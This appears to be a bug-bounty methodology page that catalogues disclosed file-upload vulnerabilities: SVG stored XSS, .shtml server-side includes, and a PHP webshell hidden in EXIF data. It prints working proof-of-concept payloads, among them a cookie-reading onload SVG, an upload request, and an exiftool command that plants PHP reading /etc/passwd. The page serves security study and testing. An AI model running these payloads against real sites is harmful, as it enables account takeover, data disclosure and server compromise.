Insight — When an SVG/HTML sanitizer applies an element allow-list, probe parser edge cases: a DOCTYPE/entity declaration can flip the sanitizer into a mode where it stops enforcing the whitelist. This turns a 'safe icon upload' into stored XSS that propagates to every tenant that installs the app (via OAuth authorize).

Real-world example

Stored XSS via SVG upload masqueraded as raster image, served inline

◆ High
Specimen #765679 · outpost · none · 59 votes · resolved
Program outpostSurface webChain file upload -> inline SVG render -> stored XSS -> cTag file-uploadTag account-takeover

Root cause

Upload endpoints validate extension/declared type but not real content; an SVG carrying onload=... uploaded as .png/.gif/.bmp is stored and served with Content-Disposition: inline, executing JS when a victim opens it.

Method

  1. Craft an SVG with an event handler (onload) that runs JS
  2. Rename it to .png/.gif/.bmp (or set image Content-Type) to pass the format check
  3. Send/upload it so a victim opens the file directly in-browser
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="2560" height="1600" onload="alert(document.cookie)">

Insight — Any upload served inline (not attachment) with attacker-controlled bytes is an XSS sink; SVG is the prime vector because it is XML+script. Bypass format checks by keeping SVG bytes under an image extension/MIME.

Real-world example

Upload .shtml/.html bypassing filter -> SSI + config/info disclosure

◆ High
Specimen #412481 · starbucks · none · 46 votes · resolved
Program starbucksSurface webTag file-upload

Root cause

An IIS upload endpoint validates by extension but allows html/shtml; because the server processes SSI in .shtml, an attacker uploads a file that is served and parsed, disclosing internal IP, physical paths, and web.config.

Method

  1. Find an upload endpoint that accepts a file; change the filename extension to .shtml (or .html).
  2. Upload content; retrieve it from the returned temp path in a browser so the server renders it.
  3. Read leaked SERVER_NAME/REMOTE_ADDR/DOCUMENT paths and web.config via SSI/server variables.
POST /recruitjob/hxpublic_v6/hxinterface6.aspx?_hxcategory=hx_filebox_upload_file HTTP/1.1 Host: TARGET Content-Type: multipart/form-data; boundary=---B -----B Content-Disposition: form-data; name="...upload_file_inputbox"; filename="xxx.shtml" Content-Type: text/html <!--#echo var="DOCUMENT_NAME"--> -----B--

Insight — An upload filter that only blocks obvious script extensions still lets through server-parsed formats (.shtml for SSI, .html for stored XSS). Try .shtml/.stm on IIS/Apache and check whether the uploaded file is rendered rather than downloaded.

Real-world example

Webshell upload via extension-rename + EXIF-embedded PHP

◆ High
Specimen #357858 · monero · none · 43 votes · resolved
Program moneroSurface webTag file-upload

Root cause

A profile-image upload lacks real image validation and stores files under the user-supplied name/extension in a web-served directory, so a PHP payload embedded in image metadata and saved with a .php extension executes as a webshell.

Method

  1. Embed PHP in an image metadata field with exiftool
  2. Rename the image to .php
  3. Upload it; even on a 500 error the file lands in /uploads/profile/
  4. Recover the path using the response timestamp -> [username][timestamp].php
exiftool -documentname='<?php echo file_get_contents("/etc/passwd"); ?>' picture.png # rename picture.png -> shell.php, upload, then visit: https://TARGET/uploads/profile/[USERNAME][timestamp].php

Insight — Two independent failures make upload RCE: (1) no magic-byte/content validation and (2) attacker controls stored extension. Even when the upload errors out, the file is often already written - guess the path from the response time/username pattern. EXIF fields are a clean place to smuggle PHP past image-only checks.

Real-world example

SVG upload XSS: XML entity disables element/attribute whitelist

◆ High
Specimen #299424 · shopify · USD 3000 · 34 votes · resolved
Program shopifySurface webChain malicious app icon -> stored XSS on partner dashboard andTag file-upload

Root cause

An SVG uploader enforces an element/attribute whitelist, but the presence of any XML entity in the document causes the sanitizer to stop enforcing the whitelist, letting <script>/onload through and yielding stored XSS wherever the SVG is served.

Method

  1. Find an SVG upload constrained by a design/element whitelist (icons, avatars)
  2. Include an XML entity / comment construct so the sanitizer skips whitelist enforcement
  3. Embed a <script> and upload; XSS fires where the SVG renders (partner dashboard, shop admin)
<svg><!--?php "--><script>confirm(20)</script>?&gt;</svg>

Insight — SVG sanitizers frequently mis-handle XML entities/DOCTYPE/comments; slipping one in can flip the parser out of whitelist mode. Any user-rendered SVG (icons, avatars, logos) is an XSS sink — test entity/comment tricks, not just a bare <script>.

§References & practice

  1. PortSwigger Web Security Academy — File upload labs (hands-on practice).
  2. All 66 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.